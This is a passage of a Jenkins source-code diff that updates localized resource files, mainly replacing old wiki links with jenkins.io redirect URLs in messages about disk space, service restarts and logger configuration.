kunt realizeren. JENKINS_HOME\ is\ almost\ full=Vrije ruimte in JENKINS_HOME is bijna opgebruikt! diff --git a/core/src/main/resources/hudson/diagnosis/HudsonHomeDiskUsageMonitor/index_pt.properties b/core/src/main/resources/hudson/diagnosis/HudsonHomeDiskUsageMonitor/index_pt.properties index c2ab796dee..b1e7f81355 100644 --- a/core/src/main/resources/hudson/diagnosis/HudsonHomeDiskUsageMonitor/index_pt.properties +++ b/core/src/main/resources/hudson/diagnosis/HudsonHomeDiskUsageMonitor/index_pt.properties @@ -25,6 +25,6 @@ description.2=Para previnir esse problema, fa\u00e7a alguma coisa agora. description.1=O seu JENKINS_HOME ({0}) est\u00e1 quase cheio. \ Quando esse diret\u00f3rio estiver lotado ocorrer\u00e3o alguns estragos, pois o Jenkins n\u00e3o pode gravar mais dado nenhum. solution.2=Mova o JENKINS_HOME para uma parti\u00e7\u00e3o maior. \ -Veja a nossa Wiki para aprender como fazer isso. +Veja a nossa Wiki para aprender como fazer isso. blurb=JENKINS_HOME est\u00e1 quase cheio solution.1=Limpe alguns arquivos dessa parti\u00e7\u00e3o para liberar mais espa\u00e7o. diff --git a/core/src/main/resources/hudson/diagnosis/HudsonHomeDiskUsageMonitor/index_pt_BR.properties b/core/src/main/resources/hudson/diagnosis/HudsonHomeDiskUsageMonitor/index_pt_BR.properties index 0e5b944a80..2f9b767f5d 100644 --- a/core/src/main/resources/hudson/diagnosis/HudsonHomeDiskUsageMonitor/index_pt_BR.properties +++ b/core/src/main/resources/hudson/diagnosis/HudsonHomeDiskUsageMonitor/index_pt_BR.properties @@ -29,10 +29,10 @@ description.1=Seu diret\ufffdrio JENKINS_HOME ({0}) est\ufffd quase che Quando este diret\ufffdrio ficar completamente cheio, ocorrer\ufffd problemas porque o Jenkins n\ufffdo pode mais armazenar dados. # \ # Move JENKINS_HOME to a bigger partition. \ -# See our Wiki for how to do this. +# See our Wiki for how to do this. solution.2=\ Mova o diret\ufffdrio JENKINS_HOME para uma parti\ufffd\ufffdo maior. \ - Veja nosso Wiki para saber como fazer isto. + Veja nosso Wiki para saber como fazer isto. JENKINS_HOME\ is\ almost\ full=JENKINS_HOME est\ufffd quase cheio # JENKINS_HOME is almost full diff --git a/core/src/main/resources/hudson/diagnosis/HudsonHomeDiskUsageMonitor/index_sr.properties b/core/src/main/resources/hudson/diagnosis/HudsonHomeDiskUsageMonitor/index_sr.properties index 2208ac4a58..82dbe60492 100644 --- a/core/src/main/resources/hudson/diagnosis/HudsonHomeDiskUsageMonitor/index_sr.properties +++ b/core/src/main/resources/hudson/diagnosis/HudsonHomeDiskUsageMonitor/index_sr.properties @@ -8,5 +8,7 @@ description.2=\u0414\u0430 \u0431\u0438 \u0441\u0435 \u0441\u043F\u0440\u0435\u0 solution.1=\u041E\u0431\u0440\u0438\u0448\u0435\u0442\u0435 \u043D\u0435\u043A\u0435 \u0434\u0430\u0442\u043E\u0442\u0435\u043A\u0435 \u0441\u0430 \u043E\u0432\u0435 \u043F\u0430\u0440\u0442\u0438\u0446\u0438\u0458\u0435 \u0434\u0430 \u0431\u0438 \u0441\u0435 \u043E\u0441\u043B\u043E\u0431\u043E\u0434\u0438\u043B\u043E \u043C\u0435\u0441\u0442\u0430. solution.2=\ \u041F\u0440\u0435\u0431\u0430\u0446\u0438\u0442\u0435 <\u0422\u0422>JENKINS_HOME \u0432\u0435\u045B\u043E\u0458 \u043F\u0430\u0440\u0442\u0438\u0446\u0438\u0458\u0438.\ -\u041F\u043E\u0433\u043B\u0435\u0434\u0430\u0458\u0442\u0435 <\u0430 href="http://wiki.jenkins-ci.org/display/JENKINS/Administering+\u040F\u0435\u043D\u043A\u0438\u043D\u0441">\u0412\u0438\u043A\u0438 \u0442\u043E\u043C\u0435 \u043A\u0430\u043A\u043E \u0434\u0430 \u0442\u043E \u0443\u0440\u0430\u0434\u0438\u0442\u0438. +\u041F\u043E\u0433\u043B\u0435\u0434\u0430\u0458\u0442\u0435 <\u0430 href="https://jenkins.io/redirect/migrate-jenkins-home">\u0412\u0438\u043A\u0438 \u0442\u043E\u043C\u0435 \u043A\u0430\u043A\u043E \u0434\u0430 \u0442\u043E \u0443\u0440\u0430\u0434\u0438\u0442\u0438. Dit= + +# TODO FIXME This file looks completely messed up? \ No newline at end of file diff --git a/core/src/main/resources/hudson/diagnosis/HudsonHomeDiskUsageMonitor/index_zh_TW.properties b/core/src/main/resources/hudson/diagnosis/HudsonHomeDiskUsageMonitor/index_zh_TW.properties index c68caa7b9a..b02747e2a7 100644 --- a/core/src/main/resources/hudson/diagnosis/HudsonHomeDiskUsageMonitor/index_zh_TW.properties +++ b/core/src/main/resources/hudson/diagnosis/HudsonHomeDiskUsageMonitor/index_zh_TW.properties @@ -29,5 +29,5 @@ description.2=\u70ba\u4e86\u907f\u514d\u767c\u751f\u61be\u4e8b\uff0c\u60a8\u61c9 solution.1=\u6e05\u6389\u9019\u500b\u5206\u5272\u5340\u4e0a\u7684\u67d0\u4e9b\u6a94\u6848\uff0c\u7a7a\u51fa\u4e00\u4e9b\u7a7a\u9593\u3002 solution.2=\ \u5c07 JENKINS_HOME \u79fb\u5230\u6bd4\u8f03\u5927\u7684\u5206\u5272\u5340\u88e1\u3002\ - \u5728\u6211\u5011\u7684 Wiki \u4e0a\u6709\u4f5c\u6cd5\u8aaa\u660e\u3002 + \u5728\u6211\u5011\u7684 Wiki \u4e0a\u6709\u4f5c\u6cd5\u8aaa\u660e\u3002 JENKINS_HOME\ is\ almost\ full=JENKINS_HOME \u5feb\u6eff\u4e86 diff --git a/core/src/main/resources/hudson/lifecycle/WindowsInstallerLink/_restart.properties b/core/src/main/resources/hudson/lifecycle/WindowsInstallerLink/_restart.properties index 31eae4527a..f732713a51 100644 --- a/core/src/main/resources/hudson/lifecycle/WindowsInstallerLink/_restart.properties +++ b/core/src/main/resources/hudson/lifecycle/WindowsInstallerLink/_restart.properties @@ -22,4 +22,4 @@ blurb=You should be taken automatically to the new Jenkins in a few seconds. \ If for some reason the service fails to start, please check the Windows event log for errors and consult the wiki page \ - located at the official wiki. + located at the official wiki. diff --git a/core/src/main/resources/hudson/lifecycle/WindowsInstallerLink/_restart_de.properties b/core/src/main/resources/hudson/lifecycle/WindowsInstallerLink/_restart_de.properties index 382bf6e7d7..fe3165afa5 100644 --- a/core/src/main/resources/hudson/lifecycle/WindowsInstallerLink/_restart_de.properties +++ b/core/src/main/resources/hudson/lifecycle/WindowsInstallerLink/_restart_de.properties @@ -1,4 +1,4 @@ Please\ wait\ while\ Jenkins\ is\ restarting=Bitte warten Sie, whrend Jenkins neu gestartet wird blurb=Sie sollten automatisch in wenigen Sekunden auf die neue Jenkins-Instanz weitergeleitet werden. \ Sollte der Windows-Dienst nicht starten, suchen Sie im Windows Ereignisprotokoll nach Fehlermeldungen und lesen Sie \ - weitere Hinweise im Wiki. + weitere Hinweise im Wiki. diff --git a/core/src/main/resources/hudson/lifecycle/WindowsInstallerLink/_restart_es.properties b/core/src/main/resources/hudson/lifecycle/WindowsInstallerLink/_restart_es.properties index c9a35d1d85..492e81a8d7 100644 --- a/core/src/main/resources/hudson/lifecycle/WindowsInstallerLink/_restart_es.properties +++ b/core/src/main/resources/hudson/lifecycle/WindowsInstallerLink/_restart_es.properties @@ -22,5 +22,5 @@ blurb=Sers redirigido automticamente al nuevo Jenkins en unos segundos. \ Si por alguna razn el servicio falla, consulta el ''log'' de eventos de windows \ - y echa un vistazo a esta pgina. + y echa un vistazo a esta pgina. Please\ wait\ while\ Jenkins\ is\ restarting=Por favor espera mientras Jenkins es reiniciado diff --git a/core/src/main/resources/hudson/lifecycle/WindowsInstallerLink/_restart_fr.properties b/core/src/main/resources/hudson/lifecycle/WindowsInstallerLink/_restart_fr.properties index ca363550e7..acc033e4e1 100644 --- a/core/src/main/resources/hudson/lifecycle/WindowsInstallerLink/_restart_fr.properties +++ b/core/src/main/resources/hudson/lifecycle/WindowsInstallerLink/_restart_fr.properties @@ -25,4 +25,4 @@ blurb=Vous devriez \u00EAtre emmen\u00E9 automatiquement vers la nouvelle instan de Jenkins dans quelques secondes. \ Si par hasard le service ne parvient pas \u00E0 se lancer, v\u00E9rifiez les logs \ d''\u00E9v\u00E8nements Windows et consultez \ - la page wiki. + la page wiki. diff --git a/core/src/main/resources/hudson/lifecycle/WindowsInstallerLink/_restart_ja.properties b/core/src/main/resources/hudson/lifecycle/WindowsInstallerLink/_restart_ja.properties index bf99973183..9ffc93da4f 100644 --- a/core/src/main/resources/hudson/lifecycle/WindowsInstallerLink/_restart_ja.properties +++ b/core/src/main/resources/hudson/lifecycle/WindowsInstallerLink/_restart_ja.properties @@ -22,5 +22,5 @@ blurb=\u6570\u79D2\u3067\u81EA\u52D5\u7684\u306B\u65B0\u3057\u3044Jenkins\u306B\u63A5\u7D9A\u3057\u307E\u3059\u3002\ \u3082\u3057\u3001\u4F55\u3089\u304B\u306E\u7406\u7531\u3067\u30B5\u30FC\u30D3\u30B9\u306E\u958B\u59CB\u306B\u5931\u6557\u3059\u308B\u5834\u5408\u306F\u3001Windows\u306E\u30A4\u30D9\u30F3\u30C8\u30ED\u30B0\u306B\u30A8\u30E9\u30FC\u304C\u306A\u3044\u304B\u78BA\u8A8D\u3057\u3066\u3001\ - Wiki\u3092\u53C2\u7167\u3057\u3066\u304F\u3060\u3055\u3044\u3002 + Wiki\u3092\u53C2\u7167\u3057\u3066\u304F\u3060\u3055\u3044\u3002 Please\ wait\ while\ Jenkins\ is\ restarting=Jenkins\u3092\u518D\u8D77\u52D5\u3057\u307E\u3059\u306E\u3067\u3001\u3057\u3070\u3089\u304F\u304A\u5F85\u3061\u304F\u3060\u3055\u3044\u3002 diff --git a/core/src/main/resources/hudson/lifecycle/WindowsInstallerLink/_restart_nl.properties b/core/src/main/resources/hudson/lifecycle/WindowsInstallerLink/_restart_nl.properties index 68ff9a6c13..a0c11bc5f6 100644 --- a/core/src/main/resources/hudson/lifecycle/WindowsInstallerLink/_restart_nl.properties +++ b/core/src/main/resources/hudson/lifecycle/WindowsInstallerLink/_restart_nl.properties @@ -24,4 +24,4 @@ Please\ wait\ while\ Jenkins\ is\ restarting=Gelieve even te wachten. Jenkins wo blurb=Uw nieuwe Jenkins instantie zou automatisch geladen moeten worden. \ Indien de service niet gestart raakt, kunt U er best de Windows event log op nakijken. \ Eventueel kunt U ook wat meer info over typische problemen en hun oplossingen terugvinden op \ - de online wiki pagina. + de online wiki pagina. diff --git a/core/src/main/resources/hudson/lifecycle/WindowsInstallerLink/_restart_pt_BR.properties b/core/src/main/resources/hudson/lifecycle/WindowsInstallerLink/_restart_pt_BR.properties index a26457988f..eed23b1afc 100644 --- a/core/src/main/resources/hudson/lifecycle/WindowsInstallerLink/_restart_pt_BR.properties +++ b/core/src/main/resources/hudson/lifecycle/WindowsInstallerLink/_restart_pt_BR.properties @@ -23,7 +23,7 @@ Please\ wait\ while\ Jenkins\ is\ restarting= Por favor aguarde enquanto o Jenkins reinicia # You should be taken automatically to the new Jenkins in a few seconds. \ # If for some reasons the service fails to start, check Windows event log for errors and consult \ -# online wiki page. +# online wiki page. blurb=Voc\u00ea deve ser levado ao Jenkins em poucos instantes. \ Se por alguma raz\u00e3o o servi\u00e7o falhar na inicializa\u00e7\u00e3o, verifique o log de eventos \ diff --git a/core/src/main/resources/hudson/lifecycle/WindowsInstallerLink/_restart_sr.properties b/core/src/main/resources/hudson/lifecycle/WindowsInstallerLink/_restart_sr.properties index 3452bbb3e2..90525524fe 100644 --- a/core/src/main/resources/hudson/lifecycle/WindowsInstallerLink/_restart_sr.properties +++ b/core/src/main/resources/hudson/lifecycle/WindowsInstallerLink/_restart_sr.properties @@ -2,4 +2,4 @@ Please\ wait\ while\ Jenkins\ is\ restarting=\u041C\u043E\u043B\u0438\u043C\u043E \u0432\u0430\u0441 \u0441\u0430\u0447\u0435\u043A\u0430\u0458\u0442\u0435 \u0434\u043E\u043A \u0441\u0435 \u043F\u043E\u043D\u043E\u0432\u043E \u043F\u043E\u043A\u0440\u0435\u043D\u0435 Jenkins blurb=\u0411\u0438\u045B\u0435\u0442\u0435 \u043C\u043E\u043C\u0435\u043D\u0442\u0430\u043B\u043D\u043E \u0430\u0443\u0442\u043E\u043C\u0430\u0442\u0441\u043A\u0438 \u043D\u0430\u0432\u0435\u0441\u0442\u0438 \u043D\u0430 Jenkins.\ -\u0410\u043A\u043E \u0438\u0437 \u043D\u0435\u043A\u043E\u0433 \u0440\u0430\u0437\u043B\u043E\u0433\u0430 \u0441\u0435\u0440\u0432\u0438\u0441 \u043D\u0435 \u0440\u0430\u0434\u0438, \u043F\u0440\u043E\u0432\u0435\u0440\u0438\u0442\u0435 Windows \u0436\u0443\u0440\u043D\u0430\u043B \u0434\u043E\u0433\u0430\u0452\u0430\u0458\u0430 \u043D\u0430 \u0433\u0440\u0435\u0448\u043A\u0435 \u0438\u043B\u0438 \u0441\u0435 \u043E\u0431\u0440\u0430\u0442\u0438\u0442\u0435 \u0412\u0438\u043A\u0438 \u0441\u0442\u0440\u0430\u043D\u0438\u0446\u0438 <\u0430 href="http://wiki.jenkins-ci.org/display/JENKINS/Jenkins+windows+service+fails+to+start"">\u0437\u0432\u0430\u043D\u0438\u0447\u043D\u043E\u0433 \u0412\u0438\u043A\u0438. +\u0410\u043A\u043E \u0438\u0437 \u043D\u0435\u043A\u043E\u0433 \u0440\u0430\u0437\u043B\u043E\u0433\u0430 \u0441\u0435\u0440\u0432\u0438\u0441 \u043D\u0435 \u0440\u0430\u0434\u0438, \u043F\u0440\u043E\u0432\u0435\u0440\u0438\u0442\u0435 Windows \u0436\u0443\u0440\u043D\u0430\u043B \u0434\u043E\u0433\u0430\u0452\u0430\u0458\u0430 \u043D\u0430 \u0433\u0440\u0435\u0448\u043A\u0435 \u0438\u043B\u0438 \u0441\u0435 \u043E\u0431\u0440\u0430\u0442\u0438\u0442\u0435 \u0412\u0438\u043A\u0438 \u0441\u0442\u0440\u0430\u043D\u0438\u0446\u0438 <\u0430 href="https://jenkins.io/redirect/troubleshooting/windows-service-fails-to-start"">\u0437\u0432\u0430\u043D\u0438\u0447\u043D\u043E\u0433 \u0412\u0438\u043A\u0438. diff --git a/core/src/main/resources/hudson/lifecycle/WindowsInstallerLink/_restart_zh_TW.properties b/core/src/main/resources/hudson/lifecycle/WindowsInstallerLink/_restart_zh_TW.properties index c927aebac9..71355c449f 100644 --- a/core/src/main/resources/hudson/lifecycle/WindowsInstallerLink/_restart_zh_TW.properties +++ b/core/src/main/resources/hudson/lifecycle/WindowsInstallerLink/_restart_zh_TW.properties @@ -21,6 +21,6 @@ # THE SOFTWARE. blurb=\u5e7e\u79d2\u5f8c\u60a8\u5c31\u6703\u88ab\u5e36\u5230\u65b0\u7684 Jenkins \u88e1\u3002\ - \u5982\u679c\u670d\u52d9\u7121\u6cd5\u555f\u52d5\uff0c\u8acb\u6aa2\u67e5 Windows \u4e8b\u4ef6\u65e5\u8a8c\uff0c\u4e26\u53c3\u8003\u7dda\u4e0a Wiki \u5c08\u9801\u3002 + \u5982\u679c\u670d\u52d9\u7121\u6cd5\u555f\u52d5\uff0c\u8acb\u6aa2\u67e5 Windows \u4e8b\u4ef6\u65e5\u8a8c\uff0c\u4e26\u53c3\u8003\u7dda\u4e0a Wiki \u5c08\u9801\u3002 Please\ wait\ while\ Jenkins\ is\ restarting=Jenkins \u91cd\u65b0\u555f\u52d5\u4e2d\uff0c\u8acb\u7a0d\u5019 diff --git a/core/src/main/resources/hudson/logging/LogRecorderManager/index.jelly b/core/src/main/resources/hudson/logging/LogRecorderManager/index.jelly index e188caed69..1eb55cf888 100644 --- a/core/src/main/resources/hudson/logging/LogRecorderManager/index.jelly +++ b/core/src/main/resources/hudson/logging/LogRecorderManager/index.jelly @@ -32,7 +32,7 @@ THE SOFTWARE.

                                                                      ${%Log Recorders} - +

                                                                      diff --git a/core/src/main/resources/hudson/logging/LogRecorderManager/levels.properties b/core/src/main/resources/hudson/logging/LogRecorderManager/levels.properties index 4f02f7ea2c..11646ee275 100644 --- a/core/src/main/resources/hudson/logging/LogRecorderManager/levels.properties +++ b/core/src/main/resources/hudson/logging/LogRecorderManager/levels.properties @@ -20,6 +20,6 @@ # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. -url=http://wiki.jenkins-ci.org//x/YYI5Ag +url=https://jenkins.io/redirect/log-levels defaultLoggerMsg=Logger with no name is the default logger. \ This level will be inherited by all loggers without a configured level. diff --git a/core/src/main/resources/hudson/logging/LogRecorderManager/levels_da.properties b/core/src/main/resources/hudson/logging/LogRecorderManager/levels_da.properties index bf0d0c2d86..4b02925256 100644 --- a/core/src/main/resources/hudson/logging/LogRecorderManager/levels_da.properties +++ b/core/src/main/resources/hudson/logging/LogRecorderManager/levels_da.properties @@ -21,7 +21,7 @@ # THE SOFTWARE. Level=Niveau -url=http://wiki.jenkins-ci.org/display/JENKINS/Logger+Configuration +url=https://jenkins.io/redirect/log-levels defaultLoggerMsg=Unavngiven logger er standardlogger. \ Dette niveau vil nedarve til alle loggere uden et konfigurationsniveau. Name=Navn diff --git a/core/src/main/resources/hudson/logging/LogRecorderManager/levels_de.properties b/core/src/main/resources/hudson/logging/LogRecorderManager/levels_de.properties index f84c727878..1a8a389aec 100644 --- a/core/src/main/resources/hudson/logging/LogRecorderManager/levels_de.properties +++ b/core/src/main/resources/hudson/logging/LogRecorderManager/levels_de.properties @@ -21,7 +21,7 @@ # THE SOFTWARE. Logger\ Configuration=Logger-Konfiguration -url=http://wiki.jenkins-ci.org/display/JENKINS/Logger+Configuration +url=https://jenkins.io/redirect/log-levels Name=Name Level=Prioritt Submit=bernehmen diff --git a/core/src/main/resources/hudson/logging/LogRecorderManager/levels_es.properties b/core/src/main/resources/hudson/logging/LogRecorderManager/levels_es.properties index f3fdddd73c..aa803dda35 100644 --- a/core/src/main/resources/hudson/logging/LogRecorderManager/levels_es.properties +++ b/core/src/main/resources/hudson/logging/LogRecorderManager/levels_es.properties @@ -20,7 +20,7 @@ # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. -url=http://wiki.jenkins-ci.org/display/JENKINS/Logger+Configuration +url=https://jenkins.io/redirect/log-levels Level=Nivel de log Logger\ Configuration=Configuracin del logger Submit=Enviar diff --git a/core/src/main/resources/hudson/logging/LogRecorderManager/levels_fr.properties b/core/src/main/resources/hudson/logging/LogRecorderManager/levels_fr.properties index 10e3d012fc..c30bb5735a 100644 --- a/core/src/main/resources/hudson/logging/LogRecorderManager/levels_fr.properties +++ b/core/src/main/resources/hudson/logging/LogRecorderManager/levels_fr.properties @@ -24,4 +24,4 @@ Logger\ Configuration=Configuration du logger Name=Nom Level=Niveau Submit=Envoyer -url=http://wiki.jenkins-ci.org/display/JENKINS/Logger+Configuration +url=https://jenkins.io/redirect/log-levels diff --git a/core/src/main/resources/hudson/logging/LogRecorderManager/levels_it.properties b/core/src/main/resources/hudson/logging/LogRecorderManager/levels_it.properties index 3450c5a729..a455ea1aa5 100644 --- a/core/src/main/resources/hudson/logging/LogRecorderManager/levels_it.properties +++ b/core/src/main/resources/hudson/logging/LogRecorderManager/levels_it.properties @@ -6,4 +6,4 @@ Logger\ Configuration=Configurazione registro Name=Nome Submit=Invia defaultLoggerMsg=Il registro senza nome \u00E8 quello predefinito. Questo livello sar\u00E0 ereditato da tutti i registri senza un livello configurato. -url=http://wiki.jenkins-ci.org//x/YYI5Ag +url=https://jenkins.io/redirect/log-levels diff --git a/core/src/main/resources/hudson/logging/LogRecorderManager/levels_ja.properties b/core/src/main/resources/hudson/logging/LogRecorderManager/levels_ja.properties index ab204e41ff..2f8444273b 100644 --- a/core/src/main/resources/hudson/logging/LogRecorderManager/levels_ja.properties +++ b/core/src/main/resources/hudson/logging/LogRecorderManager/levels_ja.properties @@ -24,7 +24,7 @@ Logger\ Configuration=\u30ED\u30AC\u30FC\u306E\u8A2D\u5B9A Name=\u540D\u524D Level=\u30EC\u30D9\u30EB Submit=\u767B\u9332 -url=http://wiki.jenkins-ci.org/display/JA/Logger+Configuration +url=https://jenkins.io/redirect/log-levels defaultLoggerMsg=\u540D\u524D\u304C\u306A\u3044\u30ED\u30AC\u30FC\u306F\u30C7\u30D5\u30A9\u30EB\u30C8\u306E\u30ED\u30AC\u30FC\u3067\u3059\u3002\ \u30C7\u30D5\u30A9\u30EB\u30C8\u306E\u30ED\u30AC\u30FC\u306E\u30EC\u30D9\u30EB\u306F\u3001\u8A2D\u5B9A\u3057\u306A\u304F\u3066\u3082\u5168\u3066\u306E\u30ED\u30AC\u30FC\u306B\u5F15\u304D\u7D99\u304C\u308C\u307E\u3059\u3002 Adjust\ Levels=\u30EC\u30D9\u30EB\u306E\u8ABF\u6574 diff --git a/core/src/main/resources/hudson/logging/LogRecorderManager/levels_ko.properties b/core/src/main/resources/hudson/logging/LogRecorderManager/levels_ko.properties index b2ae008852..bc7562a493 100644 --- a/core/src/main/resources/hudson/logging/LogRecorderManager/levels_ko.properties +++ b/core/src/main/resources/hudson/logging/LogRecorderManager/levels_ko.properties @@ -6,4 +6,4 @@ Logger\ Configuration=\uB85C\uAC70 \uC124\uC815 Name=\uC774\uB984 Submit=\uC81C\uCD9C defaultLoggerMsg=\uC774\uB984\uC774 \uC5C6\uB294 Logger\uB294 \uAE30\uBCF8 Logger\uC785\uB2C8\uB2E4. \uB808\uBCA8\uC774 \uC124\uC815\uB418\uC9C0 \uC54A\uC740 \uBAA8\uB4E0 Logger\uB4E4\uC740 \uC774 \uB808\uBCA8\uC744 \uC0C1\uC18D\uD569\uB2C8\uB2E4. -url=http://wiki.jenkins-ci.org//x/YYI5Ag +url=https://jenkins.io/redirect/log-levels diff --git a/core/src/main/resources/hudson/logging/LogRecorderManager/levels_pt.properties b/core/src/main/resources/hudson/logging/LogRecorderManager/levels_pt.properties index 0aa78bd338..9863626db1 100644 --- a/core/src/main/resources/hudson/logging/LogRecorderManager/levels_pt.properties +++ b/core/src/main/resources/hudson/logging/LogRecorderManager/levels_pt.properties @@ -21,7 +21,7 @@ # THE SOFTWARE. Adjust\ Levels=Ajustar n\u00edveis -url=http://wiki.jenkins-ci.org//x/YYI5Ag +url=https://jenkins.io/redirect/log-levels Submit=Enviar Logger\ Configuration=Configura\u00e7\u00e3o de logger defaultLoggerMsg=Um logger sem nome ser\u00e1 o logger padr\u00e3o. Esse n\u00edvel ser\u00e1 herdado por todos os loggers sem um n\u00edvel configurado. diff --git a/core/src/main/resources/hudson/logging/LogRecorderManager/levels_pt_BR.properties b/core/src/main/resources/hudson/logging/LogRecorderManager/levels_pt_BR.properties index d82fb50219..6be5520595 100644 --- a/core/src/main/resources/hudson/logging/LogRecorderManager/levels_pt_BR.properties +++ b/core/src/main/resources/hudson/logging/LogRecorderManager/levels_pt_BR.properties @@ -28,5 +28,5 @@ Name=Nome Adjust\ Levels=Ajustar os n\u00edveis Submit=Enviar Logger\ Configuration=Configura\u00e7\u00e3o do Logger -# http://wiki.jenkins-ci.org//x/YYI5Ag -url=http://wiki.jenkins-ci.org//x/YYI5Ag +# https://jenkins.io/redirect/log-levels +url=https://jenkins.io/redirect/log-levels diff --git a/core/src/main/resources/hudson/logging/LogRecorderManager/levels_ru.properties b/core/src/main/resources/hudson/logging/LogRecorderManager/levels_ru.properties index 1e6b31ab33..b156024d81 100644 --- a/core/src/main/resources/hudson/logging/LogRecorderManager/levels_ru.properties +++ b/core/src/main/resources/hudson/logging/LogRecorderManager/levels_ru.properties @@ -26,4 +26,4 @@ Logger\ Configuration=\u041A\u043E\u043D\u0444\u0438\u0433\u0443\u0440\u0430\u04 Name=\u041D\u0430\u0438\u043C\u0435\u043D\u043E\u0432\u0430\u043D\u0438\u0435 Submit=\u0421\u043E\u0445\u0440\u0430\u043D\u0438\u0442\u044C defaultLoggerMsg=\u0416\u0443\u0440\u043D\u0430\u043B \u0431\u0435\u0437 \u0438\u043C\u0435\u043D\u0438 \u0438\u0441\u043F\u043E\u043B\u044C\u0437\u0443\u0435\u0442\u0441\u044F \u043F\u043E-\u0443\u043C\u043E\u043B\u0447\u0430\u043D\u0438\u044E. \u0423\u0440\u043E\u0432\u0435\u043D\u044C \u0436\u0443\u0440\u043D\u0430\u043B\u0438\u0440\u043E\u0432\u0430\u043D\u0438\u044F \u0437\u0430\u0434\u0430\u043D\u043D\u044B\u0439 \u0434\u043B\u044F \u043D\u0435\u0433\u043E \u043D\u0430\u0441\u043B\u0435\u0434\u0443\u0435\u0442\u0441\u044F \u0432\u0441\u0435\u043C\u0438 \u0436\u0443\u0440\u043D\u0430\u043B\u0430\u043C\u0438, \u0434\u043B\u044F \u043A\u043E\u0442\u043E\u0440\u044B\u0445 \u0443\u0440\u043E\u0432\u0435\u043D\u044C \u0436\u0443\u0440\u043D\u0430\u043B\u0438\u0440\u043E\u0432\u0430\u043D\u0438\u044F \u043D\u0435 \u0437\u0430\u0434\u0430\u043D. -url=http://wiki.jenkins-ci.org/display/JENKINS/Logger+Configuration +url=https://jenkins.io/redirect/log-levels diff --git a/core/src/main/resources/hudson/logging/LogRecorderManager/levels_sr.properties b/core/src/main/resources/hudson/logging/LogRecorderManager/levels_sr.properties index 2030984d1c..059a02ebf2 100644 --- a/core/src/main/resources/hudson/logging/LogRecorderManager/levels_sr.properties +++ b/core/src/main/resources/hudson/logging/LogRecorderManager/levels_sr.properties @@ -1,7 +1,7 @@ # This file is under the MIT License by authors Logger\ Configuration=\u041F\u043E\u0434\u0435\u0448\u0430\u0432\u0430\u045A\u0430 \u0436\u0443\u0440\u043D\u0430\u043B\u043E\u0432\u0430\u045A\u0430 -url=http://wiki.jenkins-ci.org/display/JENKINS/Logger+Configuration +url=https://jenkins.io/redirect/log-levels Name=\u0418\u043C\u0435 Level=\u041D\u0438\u0432\u043E defaultLoggerMsg=\u041F\u0440\u0435\u043F\u0438\u0441\u0438\u0432\u0430\u0447 \u0431\u0435\u0437 \u0438\u043C\u0435\u043D\u0430 \u0458\u0435 \u0441\u0442\u0430\u043D\u0434\u0430\u0440\u0434\u043D\u0438 \u043F\u0440\u0435\u043F\u0438\u0441\u0438\u0432\u0430\u0447. \u0422\u0430\u0458 \u043D\u0438\u0432\u043E \u045B\u0435 \u0432\u0438\u0442\u0438 \u043D\u0430\u0441\u043B\u0435\u0452\u0435\u043D diff --git a/core/src/main/resources/hudson/logging/LogRecorderManager/levels_zh_TW.properties b/core/src/main/resources/hudson/logging/LogRecorderManager/levels_zh_TW.properties index 1a573b548f..1ac8df73eb 100644 --- a/core/src/main/resources/hudson/logging/LogRecorderManager/levels_zh_TW.properties +++ b/core/src/main/resources/hudson/logging/LogRecorderManager/levels_zh_TW.properties @@ -26,4 +26,4 @@ Logger\ Configuration=\u8a18\u9304\u5668\u8a2d\u5b9a Name=\u540d\u7a31 Submit=\u9001\u51fa defaultLoggerMsg=\u6c92\u6709\u540d\u7a31\u7684\u8a18\u9304\u5668\u5c31\u662f\u9810\u8a2d\u8a18\u9304\u5668\u3002\u5b83\u7684\u7b49\u7d1a\u6703\u88ab\u6240\u6709\u6c92\u6709\u6307\u5b9a\u7b49\u7d1a\u7684\u8a18\u9304\u5668\u7e7c\u627f\u3002 -url=http://wiki.jenkins-ci.org//x/YYI5Ag +url=https://jenkins.io/redirect/log-levels diff --git a/core/src/main/resources/hudson/model/AbstractProject/help-concurrentBuild.html b/core/src/main/resources/hudson/model/AbstractProject/help-concurrentBuild.html index 1f30835c57..c97987cd23 100644 --- a/core/src/main/resources/hudson/model/AbstractProject/help-concurrentBuild.html +++ b/core/src/main/resources/hudson/model/AbstractProject/help-concurrentBuild.html @@ -30,7 +30,7 @@ Jenkins. For example, "hudson.slaves.WorkspaceList=-" would change the separator to a hyphen.
                                                                      For more information on setting system properties, see the wiki page.

                                                                      However, if you enable the Use custom workspace option, all builds will diff --git a/core/src/main/resources/hudson/model/AbstractProject/help-concurrentBuild_bg.html b/core/src/main/resources/hudson/model/AbstractProject/help-concurrentBuild_bg.html index 191bee10f3..1960aa25cb 100644 --- a/core/src/main/resources/hudson/model/AbstractProject/help-concurrentBuild_bg.html +++ b/core/src/main/resources/hudson/model/AbstractProject/help-concurrentBuild_bg.html @@ -33,7 +33,7 @@ Jenkins. For example, "hudson.slaves.WorkspaceList=-" would change the separator to a hyphen.
                                                                      For more information on setting system properties, see the wiki page.

                                                                      However, if you enable the Use custom workspace option, all builds will diff --git a/core/src/main/resources/hudson/model/Api/index.jelly b/core/src/main/resources/hudson/model/Api/index.jelly index 18b003dd4e..962c9ea6b7 100644 --- a/core/src/main/resources/hudson/model/Api/index.jelly +++ b/core/src/main/resources/hudson/model/Api/index.jelly @@ -100,7 +100,7 @@ THE SOFTWARE.

                                                                      For more information about remote API in Jenkins, see - the documentation. + the documentation.

                                                                      Controlling the amount of data you fetch

                                                                      diff --git a/core/src/main/resources/hudson/model/Messages.properties b/core/src/main/resources/hudson/model/Messages.properties index 952a15641f..6e368ab931 100644 --- a/core/src/main/resources/hudson/model/Messages.properties +++ b/core/src/main/resources/hudson/model/Messages.properties @@ -149,8 +149,8 @@ Hudson.NotANegativeNumber=Not a negative number Hudson.NotUsesUTF8ToDecodeURL=\ Your container doesn\u2019t use UTF-8 to decode URLs. If you use non-ASCII characters as a job name etc, \ this will cause problems. \ - See Containers and \ - Tomcat i18n for more details. + See Containers and \ + Tomcat i18n for more details. Hudson.AdministerPermission.Description=\ This permission grants the ability to make system-wide configuration changes, \ as well as perform highly sensitive operations that amounts to full local system access \ diff --git a/core/src/main/resources/hudson/model/Messages_bg.properties b/core/src/main/resources/hudson/model/Messages_bg.properties index ce334d720b..7bfea657a2 